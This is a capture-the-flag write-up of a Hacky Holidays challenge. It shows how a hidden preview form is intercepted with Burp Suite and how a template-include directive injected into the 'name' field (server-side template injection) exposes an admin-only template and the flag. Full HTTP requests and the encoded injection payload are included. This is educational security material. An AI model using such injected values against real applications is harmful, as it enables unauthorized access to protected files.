Grinch-Networks CTF Writeup Flag 7
Sending letters is so slow! Now the grinch sends his hate mail by email campaigns! Try and find the hidden flag!
Hate Mail Generator
Again the question: What is the application doing? What do we have under our control? We have to find the vulnerability first! Let’s get started
What action do we have?
Select a campaign
There is not much we can do but let’s where the Preview-button takes us to.
So this looks like the preview of the markdown template we just saw on the campaigns details page.
https://hackyholidays.h1ctf.com/hate-mail-generator/91d45040151b681549d82d8065d43030
The URL contains a MD5-Hash identifying the campaign. So its nothing we are able to decode. We make a not of it but keep it for later if we stuck.
The source code from the landing page as well as from the campaigns details page had nothing very exited in it. The numbers on the bottom of the page (25/0/10) are part of the overview page but it looks like we can not effect those. Lets move on.
Create Campaign
Trying to create a new campaign by filling out the fields Name, Subject and Markup results in an error “Sorry but you’ve not enough credits”. Okay so maybe we need some sort of credits to be able to create this campaign. We add this to our list of thing we need to check later after we have finished our first analysis.
So what else do we have on this “create campaign page”? A Preview Button. It’s a funny game pressing all the buttons. So let’s do it.
We fill the Name, Subject, and copy the Markup-Text from the other campaign and press preview:
Okay. Looks good. Really? Why does the preview say “Hi Alice”? The Name was “H3x0ne”. Before starting Burp we can simply have a look into the page source as well as the Browsers Developer Tools.
<body>
<div class="container" style="margin-top:20px">
<div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
<h1 class="text-center">New Campaign</h1>
<div class="row">
<div class="col-md-6 col-md-offset-3">
<form method="post">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">New Campaign</div>
<div class="panel-body">
<div><label>Name:</label></div>
<div><input class="form-control" name="name" value=""></div>
<div style="margin-top:7px"><label>Subject:</label></div>
<div><input class="form-control" name="subject"></div>
<div style="margin-top:7px"><label>Markup:</label></div>
<div><textarea name="markup" class="form-control" rows="15">Hello ....</textarea></div>
</div>
</div>
<div>
<input type="button" class="btn btn-primary preview-campaign" value="Preview">
<input type="submit" class="btn btn-success pull-right" value="Create">
</div>
</form>
</div>
</div>
</div>
<form method="post" action="/hate-mail-generator/new/preview" id="previewfrm" target="_blank">
<input type="hidden" name="preview_markup">
<input type="hidden" name="preview_data" value='{"name":"Alice","email":"alice@test.com"}'>
</form>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
<script>
$('.preview-campaign').click( function(){
$('input[name="preview_markup"]').val( $('textarea[name="markup"]').val( ) )
$('form#previewfrm').submit();
});
</script>
</body>
So this is interesting. We have JavaScript as well as a hidden form. The hidden form has a hidden input field with hard coded data for the preview? This is not without an reason. According to the javascript the markdown text will be used from the actual form but the values for the parameters used in the markdown are coming from this hidden input. Time to intercept the request.
We are using Burp Suite Community Edition to intercept / trace the traffic send to the server and take a closer look into the request.
To setup Burp for the first time, set the Target and adjust your Proxy settings as following.
The request for the preview looks like this:
POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 272
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
preview_markup=%7B%7Btemplate%3Acbdj3_grinch_header.html%7D%7D+Hi+%7B%7Bname%7D%7D.....+Guess+what.....+%3Cstrong%3EYOU+SUCK%21%3C%2Fstrong%3E%7B%7Btemplate%3Acbdj3_grinch_footer.html%7D%7D&preview_data=%7B%22name%22%3A%22Alice%22%2C%22email%22%3A%22alice%40test.com%22%7D
Lets send the request to the Repeater and change the Name to something else.
The result of this request:
We were able to change the data. So this is good but not a vulnerability. Lets have a look on the markup.
Hi ..... Guess what..... <strong>YOU SUCK!</strong>
This tempalte include looks interesting. Lets try our index.php trick.
Hi ..... Guess what..... <strong>YOU SUCK!</strong>
Cannot find template file /templates/index.php
Aahaaaa can not find template file. Very interesting. So there is a templates folder? Let’s check this out.
The admin template looks likes something we should not use but anyway. We can try to access the html file directly:
Forbidden. HTTP 403. So we are not allowed to view the content of that file on this way but what if we try to load this template in our preview?
Hi ..... Guess what..... <strong>YOU SUCK!</strong>
You do not have access to the file 38dhs_admins_only_header.html
Okay so our second approach was not successful. Is there any other way we could try to load the template? What if we can cheat with the templating engine and try a SSTI (Server Side Template Injection). This would be a vulnerability.
There is a good reference about how SSTI works at portswinger.
Lets see if we can inject another template as name. The Markdown is still:
Hi ..... Guess what..... <strong>YOU SUCK!</strong>
But we are intercepting the request on more time and changing the data send to the preview page:
%7B%22name%22%3A%22Alice%22%2C%22email%22%3A%22alice%40test.com%22%7D to
%7b%22%6e%61%6d%65%22%3a%22%7b%7b%74%65%6d%70%6c%61%74%65%3a%33%38%64%68%73%5f%61%64%6d%69%6e%73%5f%6f%6e%6c%79%5f%68%65%61%64%65%72%2e%68%74%6d%6c%7d%7d%22%2c%22%65%6d%61%69%6c%22%3a%22%61%6c%69%63%65%40%74%65%73%74%2e%63%6f%6d%22%7d
That looks strange? Its just a question of encoding. We are not super good in read URL encoded Strings. Lets decode:
{"name":"","email":"alice@test.com"}
Much better isn’t it?
POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 272
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
preview_markup=%7B%7Btemplate%3Acbdj3_grinch_header.html%7D%7D+Hi+%7B%7Bname%7D%7D.....+Guess+what.....+%3Cstrong%3EYOU+SUCK%21%3C%2Fstrong%3E%7B%7Btemplate%3Acbdj3_grinch_footer.html%7D%7D&preview_data=%7b%22%6e%61%6d%65%22%3a%22%7b%7b%74%65%6d%70%6c%61%74%65%3a%33%38%64%68%73%5f%61%64%6d%69%6e%73%5f%6f%6e%6c%79%5f%68%65%61%64%65%72%2e%68%74%6d%6c%7d%7d%22%2c%22%65%6d%61%69%6c%22%3a%22%61%6c%69%63%65%40%74%65%73%74%2e%63%6f%6d%22%7d
Bingo! The templating engine read our name param and included the admin template with the flag.
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}`
This challenge was quite funny as it was new to me at this point. I have heart about SSTI but never used it or exploited it. But beside from that what was the major part finding the vulnerability? Any fancy hacking tool? Now. It was following our checklist: Analyse the application and how it can be used. Analyse the page source and try to understand every single bit of it. The only tool that was needed was Burp to intercept the traffic and play a little bit around with URL encoding / decoding. This was Challenge number 7. Wanna see 8? Ok let’s go!
Further Reading
https://portswigger.net/research/server-side-template-injection